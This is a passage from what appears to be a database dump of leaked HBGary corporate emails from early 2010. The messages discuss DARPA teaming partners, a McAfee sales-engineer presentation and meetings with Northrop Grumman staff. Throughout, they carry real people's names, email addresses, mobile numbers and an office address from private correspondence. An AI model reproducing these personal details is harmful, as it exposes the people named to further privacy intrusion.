afternoon?Aaron&nbsp;From my iPhone\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4435,'aaron_hbgary_com/4435.html'),(1829,'2010-01-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000610.M121968P3547Q1829.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA day','To me it is very simple.  If GD is the best teaming partner we pick them.  If they are not then we don&#39;t.\r\n \r\nThey are big boys.  As long as we are rational and make our choice for sound reasons then they will respect us and continue working with us.\r\n \r\nOn Fri, Jan 29, 2010 at 10:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHere is a thought though.  If HBGary proper separates themselves from this effort and HBGary Federal does not select GD, then is that easier on the continued relationship? \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:15 PM, Bob Slapnik wrote:\r\n\r\nI have no favorites at this point.  I don&#39;t know enough about the opportunity, the customer&#39;s desires, or what the potential partners bring to the table as compared to HBGary&#39;s capabilities.  I go in with my eyes and ears wide open.\r\n\r\n \r\nOn Fri, Jan 29, 2010 at 10:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAbsolutely we should hear them and find out what they have.  Up to Greg if he wants to be on.  I know we have a great relationship with GD.  Have to consider if we don&#39;t select GD is it better for Greg to be on the phone or not.  my thoughts are open as far as who to team with.  My only criteria is being on the winning team.\r\n\r\n\r\nLet&#39;s do 3pm.\r\n\r\nAaron\r\n\r\n  From my iPhone\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 9:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nGD requested to meet on Friday Feb 5 either at 11am or 3pm or later.  It appears Jim Jaeger is available these times?  Which time works for you?  Who should we include from HBGary?  Penny thought we should include Greg.\r\n\r\n \r\nIt might be a conference call instead of a meeting.  They are open to teaming with us as a sub or prime.  They think they bring something and want to tell us what it is during this conversation.  I certainly want to hear what they have to say.  And given that HBGary is quite active with GD on multiple fronts we owe them the opportunity to talk to us.  For example, they are considering HBGary products for internal use and for use within their security consulting practice.\r\n\r\n \r\nBob\r\n \r\n \r\nOn Fri, Jan 29, 2010 at 9:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi bob,Got ur MSG.  Day went well.  Lots to tell everyone.  Everyone wantedto talk to us.  Sparta continues to be the leader for teaming but need\r\nto haveore in depth conversations.  Rich and I have aeeting qothSparta next Friday morning.  Can we do it in the afternoon?Aaron From my iPhone\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1195,'aaron_hbgary_com/1195.html'),(1830,'2010-01-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000610.M314171P3547Q1830.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA day','Thats the plan.On Jan 29, 2010, at 11:26 PM, Bob Slapnik wrote:To me it is very simple.&nbsp; If GD is the best teaming partner we pick them.&nbsp; If they are not then we don\'t.\r\n&nbsp;\r\nThey are big boys.&nbsp; As long as we are rational and make our choice for sound reasons then they will respect us and continue working with us.\r\n&nbsp;\r\nOn Fri, Jan 29, 2010 at 10:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHere is a thought though. &nbsp;If HBGary proper separates themselves from this effort and HBGary Federal does not select GD, then is that easier on the continued relationship? \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:15 PM, Bob Slapnik wrote:\r\n\r\nI have no favorites at this point.&nbsp; I don\'t know enough about the opportunity, the customer\'s desires, or what the potential partners bring to the table as compared to HBGary\'s capabilities.&nbsp; I go in with my eyes and ears wide open.\r\n\r\n&nbsp;\r\nOn Fri, Jan 29, 2010 at 10:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAbsolutely we should hear them and find out what they have. &nbsp;Up to Greg if he wants to be on. &nbsp;I know we have a great relationship with GD. &nbsp;Have to consider if we don\'t select GD is it better for Greg to be on the phone or not. &nbsp;my thoughts are open as far as who to team with. &nbsp;My only criteria is being on the winning team.\r\n\r\n\r\nLet\'s do 3pm.\r\n\r\nAaron\r\n\r\n&nbsp;&nbsp;From my iPhone\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 9:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nGD requested to meet on Friday Feb 5 either at 11am or 3pm or later.&nbsp; It appears Jim Jaeger is available these times?&nbsp; Which time works for you?&nbsp; Who should we include from HBGary?&nbsp; Penny thought we should include Greg.\r\n\r\n&nbsp;\r\nIt might be a conference call instead of a meeting.&nbsp; They are open to teaming with us as a sub or prime.&nbsp; They think they bring something and want to tell us what it is during this conversation.&nbsp; I certainly want to hear what they have to say.&nbsp; And given that HBGary is quite active with GD on multiple fronts we owe them the opportunity to talk to us.&nbsp; For example, they are considering HBGary products for internal use and for use within their security consulting practice.\r\n\r\n&nbsp;\r\nBob\r\n&nbsp;\r\n&nbsp;\r\nOn Fri, Jan 29, 2010 at 9:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi bob,Got ur MSG. &nbsp;Day went well. &nbsp;Lots to tell everyone. &nbsp;Everyone wantedto talk to us. &nbsp;Sparta continues to be the leader for teaming but need\r\nto haveore in depth conversations. &nbsp;Rich and I have aeeting qothSparta next Friday morning. &nbsp;Can we do it in the afternoon?Aaron&nbsp;From my iPhone\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10826,'aaron_hbgary_com/10826.html'),(1831,'2010-01-30','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000618.M491878P3547Q1831.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','FW: Con Call with McAfee SE Team','Guys,\r\n\r\nThis is the presentation I\'m giving to 120 McAfee sales engineers on Monday\r\nabout our DDNA integration.  Even if 25% of them get it we now have 40 more\r\ntechnical people pitching DDNA.  This is how REAL companies scale out.\r\nGrrrrrrr!\r\n	\r\nHave a good weekend.\r\n\r\nRich\r\n\r\n-----Original Message-----\r\nFrom: Namit_Arora@McAfee.com [mailto:Namit_Arora@McAfee.com] \r\nSent: Friday, January 29, 2010 9:25 PM\r\nTo: rich@hbgary.com; John_Klassen@McAfee.com\r\nCc: Eric_Renner@McAfee.com; penny@hbgary.com\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nRick, here is the final ... I just added titles on two slides (with\r\nscreenshots). Thanks, and I look forward to your presentation on Monday! \r\n\r\nNamit Arora\r\nSr. Manager, Marketing, SIA\r\nMcAfee, Inc.\r\nDirect: +1.408.346.5208\r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com] \r\nSent: Thursday, January 28, 2010 10:10 PM\r\nTo: Klassen, John\r\nCc: Renner, Eric; Arora, Namit; penny@hbgary.com\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nJohn,\r\n\r\nThank you very much for the feedback I really think it\'s come together well!\r\nI\'ve added in your 3 slides and thanks for doing the work there too. Here is\r\nthe latest version attached. \r\n\r\nI will go through this again tomorrow morning and let you all know if I\'ve\r\nmade any edits.  I believe I\'ll be able to do the current presentation in\r\nthe allotted 20 minutes without any problems as I have only a couple key\r\npoints to touch on per slide. \r\n\r\nFeel free to send me any more suggestions or improvements.\r\n\r\nWe\'re fired up to work with you all!\r\n\r\nBest,\r\nRich\r\n\r\n  \r\n-----Original Message-----\r\nFrom: John_Klassen@McAfee.com [mailto:John_Klassen@McAfee.com]\r\nSent: Friday, January 29, 2010 12:21 AM\r\nTo: rich@hbgary.com\r\nCc: Eric_Renner@McAfee.com; Namit_Arora@McAfee.com; penny@hbgary.com\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nRich,\r\n\r\nThis is a really good presentation, really hits the mark for what SEs need\r\nto know!\r\n\r\nSuggestions:\r\n\r\nSlide 4 - the build isn\'t quite right, the ovals appear to early.  I fixed\r\nit in the attached PPT.\r\n\r\nSlide 10 - I *LOVE* the side-by-side comparison.  In the table, let\'s change\r\n\"McAfee EPO\" to \"McAfee Total Protection for Endpoint\" (ToPS Endpoint)\r\nbecause ePO  is the management framework, not the security products that\r\nprovide anti-malware protection (VirusScan Enterprise, HIPS, etc.).  I\r\nadjusted the size as well.\r\n\r\nSlide 15 - The Red for ePO Server box is not McAfee Red, too bright.  Change\r\n\"ePO Agents\" to \"McAfee Agents\" to match the McAfee product naming (I know,\r\nit\'s not clear why ePO = ePO Server  + McAfee Agent but that\'s the current\r\nstandard).  I made these changes in the attached PPT too so you could see\r\nwhat I mean.\r\n\r\nOtherwise only praise, especially for the \"on disk\" vs. \"in memory image\"\r\nslides -- brilliant!\r\n\r\n-jkk\r\n\r\nJohn Klassen\r\nTechnology Director, Security Innovation Alliance McAfee, Inc.\r\nMobile: 510.290.8900\r\n \r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com]\r\nSent: Thursday, January 28, 2010 6:47 PM\r\nTo: Arora, Namit; penny@hbgary.com\r\nCc: Renner, Eric; Klassen, John\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nThank you Namit,\r\n\r\nI really like what you\'ve done, it looks really good on your background.\r\nGreat suggestions as well, I\'ve made most of the changes you recommended I\r\nbelieve.  I will take another quick look in the morning and send it over if\r\nI make any edits.\r\n\r\nPenny please review and let me know your thoughts.\r\n\r\nThanks again,\r\nRich\r\n\r\n-----Original Message-----\r\nFrom: Namit_Arora@McAfee.com [mailto:Namit_Arora@McAfee.com]\r\nSent: Thursday, January 28, 2010 6:39 PM\r\nTo: rich@hbgary.com; penny@hbgary.com\r\nCc: Eric_Renner@McAfee.com; John_Klassen@McAfee.com\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nThanks Rich,\r\n\r\nThe slides look good. I apologize for not mentioning that this needs to be\r\nin the McAfee template. So I went ahead and transferred the contents - see\r\nattached deck. Please review it to make sure there are no formatting\r\nglitches. After this call, we\'ll use it as the primary HBGary presentation\r\nin the Sales Resource Center for use by our Reps/SEs in customer\r\nenvironments. \r\n\r\nHere are some changes I made: combined slides 4 and 5 in your deck, replaced\r\nthe ecosystem diagram. I also added slide #23.\r\n\r\nWhat would be nice is a statement of the customer problem you have set out\r\nto solve. This could go on slide #3. It would be good to have titles for\r\nslides #12-#15, a descriptor for what we are looking at. Really like slide\r\n#10. Please add contact details on slide #23. \r\n\r\nAlso, would it be possible to recast slide #22 summary as customer benefits\r\nof the integration, rather than only technical capabilities of Digital DNA?\r\nThe SEs would want to take away a couple of key nuggets on why they should\r\ncare, when they should think of you, etc. \r\n\r\nIt may be challenging to cover 23 slides and also take questions in 20\r\nminutes but I\'ll leave it to you whether you want to shorten the\r\npresentation a bit. That\'s all I have. John is reviewing this as well and\r\nmight have some suggestions. \r\n\r\nThanks, \r\n\r\nNamit Arora\r\nSr. Manager, Marketing, SIA\r\nMcAfee, Inc.\r\nDirect: +1.408.346.5208\r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com]\r\nSent: Thursday, January 28, 2010 12:38 PM\r\nTo: Arora, Namit; penny@hbgary.com\r\nCc: Renner, Eric\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nHi Namit,\r\n\r\nPlease find attached my draft of the presentation for Monday.  I\'ll give you\r\na call in a couple minutes to see if we can chat.  If I don\'t reach you\r\nplease feel free to call me on my cell (703-999-5012) anytime until we get\r\nthis finalized to everyone\'s satisfaction.\r\n\r\nWe\'re really look forward to the Sales Engineering call on Monday and\r\nwinning some business together.\r\n\r\nBest,\r\nRich\r\n\r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\nOffice 301-652-8885 x112\r\nCell Phone 703-999-5012\r\nWebsite:  www.hbgary.com |email: rich@hbgary.com \r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Namit_Arora@McAfee.com [mailto:Namit_Arora@McAfee.com]\r\nSent: Tuesday, January 26, 2010 10:44 PM\r\nTo: rich@hbgary.com; penny@hbgary.com\r\nCc: Eric_Renner@McAfee.com\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nRich, checking in to see if you are on track to send me a draft presentation\r\nby tomorrow, Wed? \r\n\r\nThe SE call is from 1-2 PM PST on Monday. I\'ll forward the meeting invite\r\nlater this week. Thanks.\r\n\r\nNamit Arora\r\nSr. Manager, Marketing, SIA\r\nMcAfee, Inc.\r\nDirect: +1.408.346.5208\r\n\r\n-----Original Message-----\r\nFrom: Arora, Namit\r\nSent: Wednesday, January 20, 2010 2:41 PM\r\nTo: Renner, Eric; Rich Cummings; \'Penny Leavy\'\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nThanks, Eric. \r\n\r\nRich,\r\nI\'ll be happy to help you develop a presentation for the SE call. Basically\r\nwhat we need is a deck with about 10-12 slides. It should provide an\r\noverview of HBGary and its products/solutions and then talk about our joint\r\nsolution and its customer benefits. Screen shots that illustrate the joint\r\nintegration tend to work really well. Since the audience here is SEs, it is\r\nOk to be technical. \r\n\r\nI\'m not sure if the total time of 20 mins will allow a live demo but if you\r\nfeel confident of finishing your entire presentation in 20 mins, go ahead.\r\nIdeally you should get through the slides and the demo in a bit under 20\r\nmins, leaving 3-4 mins for any Q&A. \r\n\r\nPlease send me a draft presentation by Tuesday next week (Jan 26th), which\r\nshould give us time to review and request edits as appropriate. I\'ll send\r\nyou call-in details later next week. This will be a LiveMeeting call and you\r\nwill get presentation control. Over 80 North American SEs generally attend. \r\n\r\nLet me know if you have any questions. \r\n\r\nNamit Arora\r\nSr. Manager, Marketing, SIA\r\nMcAfee, Inc.\r\nDirect: +1.408.346.5208\r\n\r\n-----Original Message-----\r\nFrom: Renner, Eric\r\nSent: Tuesday, January 19, 2010 1:07 PM\r\nTo: Rich Cummings; \'Penny Leavy\'; Arora, Namit\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nPenny, thank you for the introduction.\r\n\r\nHi Rich, great to meet you and looking forward to your participation on this\r\nMcAfee SEAL Team Call with our SEs.  Namit is lining this up, so he\'ll\r\ncoordinate with you on all the details.\r\n\r\nThanks again,\r\n\r\nEric\r\n\r\n\r\n\r\nEric Renner\r\nDirector, Business Development - SIA\r\nMcAfee, Inc.\r\nDirect: 408.346.5451\r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com]\r\nSent: Tuesday, January 19, 2010 12:41 PM\r\nTo: \'Penny Leavy\'; Renner, Eric; Arora, Namit\r\nSubject: RE: Con Call with McAfee SE Team\r\n\r\nHi Eric and Namit,\r\n\r\nI look forward to the call.  Please feel free to call my cell anytime. The\r\nnumber is 703-999-5012.\r\n\r\nThanks,\r\nRich\r\n\r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\nOffice 301-652-8885 x112\r\nCell Phone 703-999-5012\r\nWebsite:  www.hbgary.com |email: rich@hbgary.com \r\n\r\n\r\n  \r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com]\r\nSent: Tuesday, January 19, 2010 3:30 PM\r\nTo: Rich Cummings; eric_renner; namit_arora@mcafee.com\r\nSubject: Con Call with McAfee SE Team\r\n\r\nRich,\r\n\r\nMet Eric Renner.  Eric is our POC for the ePO initiative.  Today, we will be\r\nsigning the sales agreement that allows HBGary and McAfee to jointly sell\r\nour DDNA for ePO solution.  On 2/1/10 thre is a call with 80-120 SE\'s.  They\r\nwould like HBGary to participate.  The call will be for 20 minutes and\r\nanswer\r\n\r\nWHo we are\r\nOur Core Technology\r\nFunctional ePO integration\r\nWhat Customers get with integration\r\nDemo of product\r\n\r\nThe session will be recorded and archived for all of McAfee.  Please work\r\nwith Eric and Namit to schedule.  Eric, Rich\'s phone is\r\n703-999-5013 or he is at ext 112\r\n\r\n--\r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\n',11559,'aaron_hbgary_com/11559.html'),(1832,'2010-01-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000622.M184216P3547Q1832.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Threat Reports','Here are some thoughts on the format of the threat reports.  I will continue to work on content that I can fill in.\r\n\r\n',2918,'aaron_hbgary_com/2918.html'),(1833,'2010-01-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000622.M431718P3547Q1833.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Threat Reports','What file extension is supposed to be on this?  Is this a word document?\r\n \r\n-Greg\r\nOn Sat, Jan 30, 2010 at 8:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHere are some thoughts on the format of the threat reports.  I will continue to work on content that I can fill in.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',5011,'aaron_hbgary_com/5011.html'),(1834,'2010-02-01','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000622.M631664P3547Q1834.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; Tom has asked me to assist in setting up a\r\nmeeting with you and some folks at NGES.&nbsp; Would you please let me know some windows\r\nthat are open on your calendar? \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;|\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; |\r\nSuite 2300&nbsp; | Arlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13639,'aaron_hbgary_com/13639.html'),(1835,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000622.M873166P3547Q1835.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Meeting','Hi Cassie,So far mon and tues. are my only bad days next week.AaronFrom my iPhoneOn Feb 1, 2010, at 7:52 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron – Tom has asked me to assist in setting up a\r\nmeeting with you and some folks at NGES.  Would you please let me know some windows\r\nthat are open on your calendar? \r\n\r\n \r\n\r\nThanks\r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\nCassie Robinson |\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  |\r\nSuite 2300  | Arlington, VA 22209\r\n\r\n \r\n\r\nA kind word never broke anyone&#39;s mouth.\r\n-- Irish Proverb   \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8008,'aaron_hbgary_com/8008.html'),(1836,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000623.M254374P3547Q1837.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings from the Secret Squirrel Society.&nbsp; I&#8217;d like to have an\r\ninformal discussion with you some time on what you&#8217;re doing now.&nbsp; I suspect\r\nthat it would be beneficial to both companies to for us to talk.&nbsp; Please let me\r\nknow if you&#8217;re interested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of CyberSpace Operations\r\nConsulting, LLC.&nbsp; Fundamentally her company is interested, but wants NGC\r\nto pay her company upfront to consultant in bringing this business case\r\ntogether.&nbsp; I conveyed that was not going to work, but if she could get her\r\nboss to sign the NDA, I would work with her to see how they might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing 2-4 hours of her own\r\ntime just tighten the shot pattern on this effort.&nbsp; We left it with her\r\ngoing to see her boss and present the case (for which she did not seem overly\r\nenthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have on this team, but not\r\nessential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike\r\nEdwards, and others that you know to assist with senior customer\r\ninterface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we should plan to rendezvous in\r\nSan Antonio&#8212;I&#8217;ll stay on top of this and keep you in-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work that he believes will be\r\nof interest to you.&nbsp; He&#8217;ll be in touch soon. &nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763 (mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',9016,'aaron_hbgary_com/9016.html'),(1837,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000623.M448085P3547Q1838.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','Hey Good to hear from you (virtual secret handshake extended).Sounds good.  I am in the springs through wednesday.  Get in the afternoon.  We have meetings with Lawrence hill and comany tomorrow afternoon.\r\nAaronFrom my iPhoneOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGreetings from the Secret Squirrel Society.  I’d like to have an\r\ninformal discussion with you some time on what you’re doing now.  I suspect\r\nthat it would be beneficial to both companies to for us to talk.  Please let me\r\nknow if you’re interested.  Thanks.\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nI spoke at length with Vickie Michaels of CyberSpace Operations\r\nConsulting, LLC.  Fundamentally her company is interested, but wants NGC\r\nto pay her company upfront to consultant in bringing this business case\r\ntogether.  I conveyed that was not going to work, but if she could get her\r\nboss to sign the NDA, I would work with her to see how they might fit. \r\n\r\n \r\n\r\nOf note, she wasn’t interested in investing 2-4 hours of her own\r\ntime just tighten the shot pattern on this effort.  We left it with her\r\ngoing to see her boss and present the case (for which she did not seem overly\r\nenthusiastic)—we’ll see.  \r\n\r\n \r\n\r\nAs I mentioned, CSOC would be nice to have on this team, but not\r\nessential.  We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike\r\nEdwards, and others that you know to assist with senior customer\r\ninterface.  \r\n\r\n \r\n\r\nUntil we hear from Vickie, not sure we should plan to rendezvous in\r\nSan Antonio—I’ll stay on top of this and keep you in-the-loop. \r\n\r\n \r\n\r\nAlso, Jim Hale has some things in the work that he believes will be\r\nof interest to you.  He’ll be in touch soon.  \r\n\r\n \r\n\r\nJim &#39;Torch&#39; Hale \r\n\r\n(719) 238-0763 (mobile)\r\n\r\n \r\n\r\nAaron Barr\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nBest regards, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9991,'aaron_hbgary_com/9991.html'),(1838,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000623.M55711P3547Q1836.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meeting','From my iPhoneBegin forwarded message:From: &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt;\r\nDate: February 1, 2010 7:52:02 AM CSTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Meeting \r\n\r\n\r\n\r\n\r\nAaron – Tom has asked me to assist in setting up a\r\nmeeting with you and some folks at NGES.  Would you please let me know some windows\r\nthat are open on your calendar? \r\n\r\n \r\n\r\nThanks\r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\nCassie Robinson |\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  |\r\nSuite 2300  | Arlington, VA 22209\r\n\r\n \r\n\r\nA kind word never broke anyone&#39;s mouth.\r\n-- Irish Proverb   \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12734,'aaron_hbgary_com/12734.html'),(1839,'2010-02-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000623.M651659P3547Q1839.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','GD and the DARPA opportunity','Greg,\r\n \r\nGD wants to have a teleconference with HBGary this Friday to discuss teaming on DARPA.  They will tell us reasons to work with them (knowing we have other options).\r\n \r\nSo far it is Aaron and me.  Should we include you on the call?  It will Friday at 8am or between 12-2 PT.\r\n \r\nBob\r\n',13422,'aaron_hbgary_com/13422.html'),(1840,'2010-02-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000623.M826884P3547Q1840.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Funded?','I\'m on the phone with the bank...\r\n\r\n---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Mon, Feb 1, 2010 at 11:23 AM\r\nSubject: RE: Funded?\r\nTo: Ted Vera \r\n\r\n\r\nAsk Nadir, not sure why or what not my baliwick\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, February 01, 2010 8:59 AM\r\nTo: Penny Leavy\r\nSubject: Re: Funded?\r\n\r\nI just noticed that the acct number on the temporary checks is\r\ndifferent than the one you sent out earlier with instructions to wire\r\nfunds.\r\n\r\nShoot.\r\n\r\nTed\r\n\r\n\r\nOn Sun, Jan 31, 2010 at 2:17 PM, Ted Vera  wrote:\r\n> Hi Penny,\r\n>\r\n> When do you think it would be safe to write our paychecks?\r\n>\r\n> Thanks\r\n> Ted\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16191,'aaron_hbgary_com/16191.html'),(1841,'2010-02-01','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297000624.M243568P3547Q1842.eml','\"Vera Ted\" <tedvera@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>','[Fwd: HAP Conference & Exposition]','\r\nNot sure if you are on this mail list.  It spams me once a week or so\r\nwith intel community related things.\r\n\r\n- Martin\r\n',5736,'aaron_hbgary_com/5736.html'),(1842,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000624.M436765P3547Q1843.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','Ok just let me know.From my iPhoneOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMaybe late this PM or early Wed AM.  Tues we have our Bethpage “owners”\r\ncoming out for interrogations and beatings.  Does that work for you?\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 